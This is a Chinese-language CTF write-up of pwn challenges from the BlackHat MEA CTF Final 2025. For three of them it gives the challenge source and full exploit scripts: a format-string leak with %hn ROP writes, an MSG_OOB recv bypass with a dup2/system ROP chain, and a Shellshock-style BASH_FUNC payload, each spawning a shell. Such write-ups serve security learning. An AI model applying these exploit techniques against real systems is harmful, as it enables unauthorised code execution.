┌───────────────────────┐
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
│                       │
└───────────────────────┘
Write-ups: BlackHat MEA CTF Final 2025
~ CuB3y0nd
# Verifmt

## Information

- Category: Pwn

## Description

> Verifmt is a format string converter with a powerful verifier.

## Write-up

题目给了源码,还是很方便的:

```c
#include <ctype.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int verify_fmt(const char *fmt, size_t n_args) {
  size_t argcnt = 0;
  size_t len = strlen(fmt);

  for (size_t i = 0; i < len; i++) {
    if (fmt[i] == '%') {
      if (fmt[i+1] == '%') {
        i++;
        continue;
      }

      if (isdigit(fmt[i+1])) {
        puts("[-] Positional argument not supported");
        return 1;
      }

      if (argcnt >= n_args) {
        printf("[-] Cannot use more than %lu specifiersn", n_args);
        return 1;
      }

      argcnt++;
    }
  }

  return 0;
}

int main() {
  size_t n_args;
  long args[4];
  char fmt[256];

  setbuf(stdin, NULL);
  setbuf(stdout, NULL);

  while (1) {
    /* Get arguments */
    printf("# of args: ");
    if (scanf("%lu", &n_args) != 1) {
      return 1;
    }

    if (n_args > 4) {
      puts("[-] Maximum of 4 arguments supported");
      continue;
    }

    memset(args, 0, sizeof(args));
    for (size_t i = 0; i < n_args; i++) {
      printf("args[%lu]: ", i);
      if (scanf("%ld", args + i) != 1) {
        return 1;
      }
    }

    /* Get format string */
    while (getchar() != 'n');
    printf("Format string: ");
    if (fgets(fmt, sizeof(fmt), stdin) == NULL) {
      return 1;
    }

    /* Verify format string */
    if (verify_fmt(fmt, n_args)) {
      continue;
    }

    /* Enjoy! */
    printf(fmt, args[0], args[1], args[2], args[3]);
  }

  return 0;
}
```

发现只是对格式化字符串做了一些限制,不能利用位置参数泄漏指定值,再者就是最多只能
使用四个格式化字符串标志符(以 `%` 打头算一个),且格式化字符串格式也是固定为 `p
rintf(fmt, args[0], args[1], args[2], args[3]);`,但是传入 `printf` 的所有参数都
是可控的。

这题基本上只要搞明白怎么泄漏地址就赢了,涉及到一个 `*` 参数的概念,如果我们输入 
`%*.*p%*.*p`,这四个 `*` 就会分别用 `args[0] ~ args[3]` 为参数,且 `p` 也各占一
个参数位,此时我们只使用了两个 `%` 标识符,就已经消耗了六个参数,另外还剩两次机
会。好巧不巧,栈上就有一个地址,正好是第七个参数,所以直接再加一个 `%p` 泄漏即可
。
泄漏了栈地址我们就知道返回地址,调试发现返回地址处保存的正好是 libc 地址,我们可
以直接控制 `rsi` 为返回地址,`fmt` 为 `%s` 以此泄漏 libc,之后就随便打打了。

## Exploit

```python
#!/usr/bin/env python3

import argparse

from pwn import (
    ELF,
    context,
    flat,
    process,
    raw_input,
    remote,
)

parser = argparse.ArgumentParser()
parser.add_argument("-L", action="store_true")
parser.add_argument("-T", "--threads", type=int, default=None, help="thread coun
t")
args = parser.parse_args()


FILE = "./chall_patched"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary
libc = elf.libc


def set_args(cnt, *args_values, fmt):
    target.sendlineafter(b"# of args: ", str(cnt).encode())

    for i, val in enumerate(args_values):
        if val is not None:
            prompt = f"args[{i}]: "
            target.sendlineafter(prompt.encode(), str(val).encode())

    # raw_input("DEBUG")
    target.sendlineafter(b"Format string: ", fmt)


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch():
    global target, targets

    if args.L and args.threads is not None:
        raise ValueError("Options -L and -T cannot be used together.")

    if args.L:
        target = process(FILE)
    elif args.threads:
        if args.threads <= 0:
            raise ValueError("Thread count must be positive.")
        process(FILE)

        targets = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
        target = targets[0]
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    set_args(4, 1, 2, 3, 4, fmt=b"%*.*p%*.*p %p")

    target.recvuntil(b" ")
    stack = int(target.recvline(), 16)
    pie = stack + 0x158
    ret = stack + 0x170

    target.success(f"stack: {hex(stack)}")
    target.success(f"pie: {hex(pie)}")
    target.success(f"ret: {hex(ret)}")

    set_args(1, ret, fmt=b"%s")
    libc.address = int.from_bytes(target.recv(0x6), "little") - 0x29D90

    set_args(1, pie, fmt=b"%s")
    elf.address = int.from_bytes(target.recv(0x6), "little") - 0x1160

    target.success(f"libc: {hex(libc.address)}")
    target.success(f"pie: {hex(elf.address)}")

    pop_rdi_ret = elf.address + 0x0000000000001282
    binsh = next(libc.search(b"/bin/sh"))
    system = libc.sym["system"]
    align = elf.address + 0x000000000000101A

    set_args(3, pop_rdi_ret & 0xFFFF, 0, ret, fmt=b"%*c%hn")
    set_args(3, (pop_rdi_ret >> 16) & 0xFFFF, 0, ret + 2, fmt=b"%*c%hn")
    set_args(3, (pop_rdi_ret >> 32) & 0xFFFF, 0, ret + 4, fmt=b"%*c%hn")
    set_args(3, binsh & 0xFFFF, 0, ret + 0x8, fmt=b"%*c%hn")
    set_args(3, (binsh >> 16) & 0xFFFF, 0, ret + 0x8 + 2, fmt=b"%*c%hn")
    set_args(3, (binsh >> 32) & 0xFFFF, 0, ret + 0x8 + 4, fmt=b"%*c%hn")
    set_args(3, align & 0xFFFF, 0, ret + 0x10, fmt=b"%*c%hn")
    set_args(3, (align >> 16) & 0xFFFF, 0, ret + 0x10 + 2, fmt=b"%*c%hn")
    set_args(3, (align >> 32) & 0xFFFF, 0, ret + 0x10 + 4, fmt=b"%*c%hn")
    set_args(3, system & 0xFFFF, 0, ret + 0x18, fmt=b"%*c%hn")
    set_args(3, (system >> 16) & 0xFFFF, 0, ret + 0x18 + 2, fmt=b"%*c%hn")
    set_args(3, (system >> 32) & 0xFFFF, 0, ret + 0x18 + 4, fmt=b"%*c%hn")

    target.sendlineafter(b"# of args: ", b"A")
    target.interactive()


if __name__ == "__main__":
    main()
```

# Stack Prelude

## Information

- Category: Pwn

## Description

> It is either easy or impossible.

## Write-up

比赛期间没做出来,赛后复现的,纯纯的经验题好吧……

题目源码如下:

```c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>

int main(int argc, char **argv) {
  struct sockaddr_in cli, addr = {0};
  socklen_t clen;
  int cfd, sfd = -1, yes = 1;
  ssize_t n;
  char buf[0x100];
  unsigned short port = argc < 2 ? 31337 : atoi(argv[1]);

  if ((sfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
    perror("socket");
    goto err;
  }

  if (setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(yes)) < 0) {
    perror("setsockopt(SO_REUSEADDR)");
    goto err;
  }

  addr.sin_family = AF_INET;
  addr.sin_addr.s_addr = htonl(INADDR_ANY);
  addr.sin_port = htons(port);

  if (bind(sfd, (struct sockaddr*)&addr, sizeof(addr)) < 0) {
    perror("bind");
    goto err;
  }

  if (listen(sfd, 1) < 0) {
    perror("listen");
    goto err;
  }

  clen = sizeof(cli);
  if ((cfd = accept(sfd, (struct sockaddr*)&cli, &clen)) < 0) {
    perror("accept");
    goto err;
  }

  while (1) {
    n = 0;
    recv(cfd, &n, sizeof(ssize_t), MSG_WAITALL);
    if (n <= 0 || n >= 0x200)
      break;

    recv(cfd, buf, n, MSG_WAITALL);
    send(cfd, buf, n, 0);
  }

  return 0;

err:
  if (sfd >= 0) close(sfd);
  return 1;
}
```

这题是个一次只能处理一个请求的 socket 服务器,先说说我当时取得的成果吧……我是发现
可以发送半闭 FIN 包使 `recv` 函数不接收完整的数据直接返回,由于没有检查 `recv` 
函数的返回值,后面的 `send` 会泄漏栈数据。

这里提到的半闭 FIN 包可以通过 `target.shutdown("write")` 发送关闭输入的半闭包,
保留输出,但是这么做的问题就在于,关闭了输入后在 `send` 结束回到 while 循环头后 
`recv` 接收不到数据,返回 0,退出循环,结束程序。所以即使我们泄漏了数据,要是不
能继续和程序交互的话也只能是干瞪眼……

~~草啊,其实当时是很有希望做出这道题的,但是没有想过我可以给自己发送的数据加 fla
gs,如果能想到这点的话这题就秒了……感觉自己是猪头,我连 FIN 都想到了,就是没想到 
flags,这难道不是一个很自然的想法吗??气死我了 smh(~~

现场学能绕过 `MSG_WAITALL` 的方法,总结为如下几种情况:

1. 对端关闭连接 (FIN)
2. 对端异常断开 (RST)
3. 中断信号
4. 超时(前提是设置了 `SO_RCVTIMEO` flag)
5. 其它奇奇怪怪的致命错误

FIN 可以排除了,因为发了这个后续不能继续操作,超时也可以排除,因为没设置这个 fla
g,我们可以重点研究一下有哪些可以由 client 端发送的 flag 会触发中断信号,这里就
不赘述了,直接说结论 —— `MSG_OOB`,这个 flag 表示 `out-of-band`,如果用在 `send`
,就代表会使用一个额外的 `urgent byte`,表示外带数据,接收端处理 TCP 数据包发现 
urgent byte 会触发 `SIGURG` 信号,这个信号属于异步事件,可以打断带有 `MSG_WAITAL
L` flag 的 `recv` 函数。

现在我们泄漏了数据,又能维持交互,那剩下的应该没啥好说的了,只需要注意 socket se
rver 需要让 stdin 和 stdout 指向 socket 通道就好了,不然无法和返回的 shell 交互
。

## Exploit

```python
#!/usr/bin/env python3

import argparse

from pwn import (
    ELF,
    constants,
    context,
    flat,
    process,
    raw_input,
    remote,
)

parser = argparse.ArgumentParser()
parser.add_argument("-L", action="store_true")
parser.add_argument("-T", "--threads", type=int, default=None, help="thread coun
t")
args = parser.parse_args()


FILE = "./chall_patched"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary
libc = elf.libc


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch(argv=None, envp=None):
    global target, thread

    if argv is None:
        argv = [FILE]

    if args.L and args.threads is not None:
        raise ValueError("Options -L and -T cannot be used together.")

    if args.L:
        target = process(argv, env=envp)
    elif args.threads:
        if args.threads <= 0:
            raise ValueError("Thread count must be positive.")
        process(argv, env=envp)

        thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch([FILE, "1337"])

    thread[0].sendline(flat(0x120))
    thread[0].sock.send(b"A" * 2, constants.MSG_OOB)

    resp = thread[0].recv(0x120)
    canary = int.from_bytes(resp[0x108:0x110], "little")
    libc.address = int.from_bytes(resp[0x118:0x120], "little") - 0x2A1CA

    thread[0].success(f"canary: {hex(canary)}")
    thread[0].success(f"libc: {hex(libc.address)}")

    raw_input("DEBUG")
    thread[0].sendline(flat(0x188))

    pop_rdi_ret = libc.address + 0x000000000010F78B
    pop_rsi_ret = libc.address + 0x0000000000110A7D
    binsh = next(libc.search(b"/bin/sh"))
    dup2 = libc.sym["dup2"]
    system = libc.sym["system"]
    align = pop_rdi_ret + 1
    payload = flat(
        {
            0x108 - 1: canary,
            0x118 - 1: pop_rdi_ret,
            0x120 - 1: 4,
            0x128 - 1: pop_rsi_ret,
            0x130 - 1: 0,
            0x138 - 1: dup2,
            0x140 - 1: pop_rdi_ret,
            0x148 - 1: 4,
            0x150 - 1: pop_rsi_ret,
            0x158 - 1: 1,
            0x160 - 1: dup2,
            0x168 - 1: align,
            0x170 - 1: pop_rdi_ret,
            0x178 - 1: binsh,
            0x180 - 1: system,
        },
        filler=b"x00",
    )
    raw_input("DEBUG")
    thread[0].sendline(payload)

    thread[0].sendline(flat(0x200))

    thread[0].interactive()


if __name__ == "__main__":
    main()
```

# Stack Impromptu

## Information

- Category: Pwn

## Description

> The word impossible is not in my dictionary.

## Write-up

```cpp
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#include <pthread.h>

void fatal(const char *msg) {
  perror(msg);
  pthread_exit(NULL);
}

int server_read(int& fd) {
  size_t size;
  char buf[0x40];

  memset(buf, 0, sizeof(buf));
  if (read(fd, &size, sizeof(size)) != sizeof(size)
      || size > 0x100
      || read(fd, buf, size) < size)
    goto err;

  write(fd, buf, size);
  return 0;

err:
  close(fd);
  fatal("Could not receive data (read)");
  return 1;
}

void* server_main(void* arg) {
  int fd = (int)((intptr_t)arg);
  while (server_read(fd) == 0);
  return NULL;
}

int main(int argc, char** argv) {
  pthread_t th;
  struct sockaddr_in cli, addr = { 0 };
  socklen_t clen;
  int cfd, sfd = -1, yes = 1;
  unsigned short port = argc < 2 ? 31337 : atoi(argv[1]);

  if ((sfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
    perror("socket");
    goto err;
  }

  if (setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(yes)) < 0) {
    perror("setsockopt(SO_REUSEADDR)");
    goto err;
  }

  addr.sin_family = AF_INET;
  addr.sin_addr.s_addr = htonl(INADDR_ANY);
  addr.sin_port = htons(port);

  if (bind(sfd, (struct sockaddr*)&addr, sizeof(addr)) < 0) {
    perror("bind");
    goto err;
  }

  if (listen(sfd, 5) < 0) {
    perror("listen");
    goto err;
  }

  while (1) {
    clen = sizeof(cli);
    if ((cfd = accept(sfd, (struct sockaddr*)&cli, &clen)) < 0) {
      perror("accept");
      goto err;
    }

    pthread_create(&th, NULL, server_main, (void*)((intptr_t)cfd));
    pthread_detach(th);
  }

  return 0;

err:
  if (sfd >= 0) close(sfd);
  return 1;
}
```

待复现。

## Exploit

# Stack Rhapsody

## Information

- Category: Pwn

## Description

> Unknown

## Write-up

```c
// gcc -Wall -Wextra -fstack-protector-all -fcf-protection=full -mshstk -fPIE -p
ie -Wl,-z,relro,-z,now chall.c -o chall

#include <stdio.h>
#include <stdlib.h>

int main() {
  char buf[0x10000];
  fgets(buf, 0x100000, stdin);
  system("echo Are you a good pwner?");
  return 0;
}
```

看似不可能的挑战,真的,不可能吗?[Shellshock](<https://en.wikipedia.org/wiki/Sh
ellshock_(software_bug)>)

有时间我会单独写一篇博客详撕源码,这里就只留 exp 了/逃

## Exploit

```python
#!/usr/bin/env python3

import argparse

from pwn import (
    ELF,
    context,
    flat,
    process,
    raw_input,
    remote,
)
from pwnlib.util.iters import pad

parser = argparse.ArgumentParser()
parser.add_argument("-L", action="store_true")
parser.add_argument("-T", "--threads", type=int, default=None, help="thread coun
t")
args = parser.parse_args()


FILE = "./chall"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary
libc = elf.libc


def mangle(pos, ptr, shifted=1):
    if shifted:
        return pos ^ ptr
    return (pos >> 12) ^ ptr


def demangle(pos, ptr, shifted=1):
    if shifted:
        return mangle(pos, ptr)
    return mangle(pos, ptr, 0)


def launch(argv=None, envp=None):
    global target, thread

    if argv is None:
        argv = [FILE]

    if args.L and args.threads is not None:
        raise ValueError("Options -L and -T cannot be used together.")

    if args.L:
        target = process(argv, env=envp)
    elif args.threads:
        if args.threads <= 0:
            raise ValueError("Thread count must be positive.")
        process(FILE)

        thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    env = b"BASH_FUNC_echo%%=() { /bin/sh; }0".ljust(0x30, b"x00")
    payload = (b"A" * 0xA + env * ((0x10148 - 0xA) // len(env))).ljust(0x10148, 
b"x00")

    target.sendline(payload)
    target.recvuntil(b"Are you a good pwner?", timeout=0.5)
    target.interactive()


if __name__ == "__main__":
    main()
```

# Scream

## Information

- Category: Pwn

## Description

> Keep the secret.

## Write-up

待复现。

## Exploit

# EDU

## Information

- Category: Pwn

## Description

> QEMU provides an educational device for learning VM escape.
> This bug is intentionally made for educational purpose, right? …… Right?
>
> <https://www.qemu.org/docs/master/specs/edu.html>

## Write-up

待复现。

## Exploit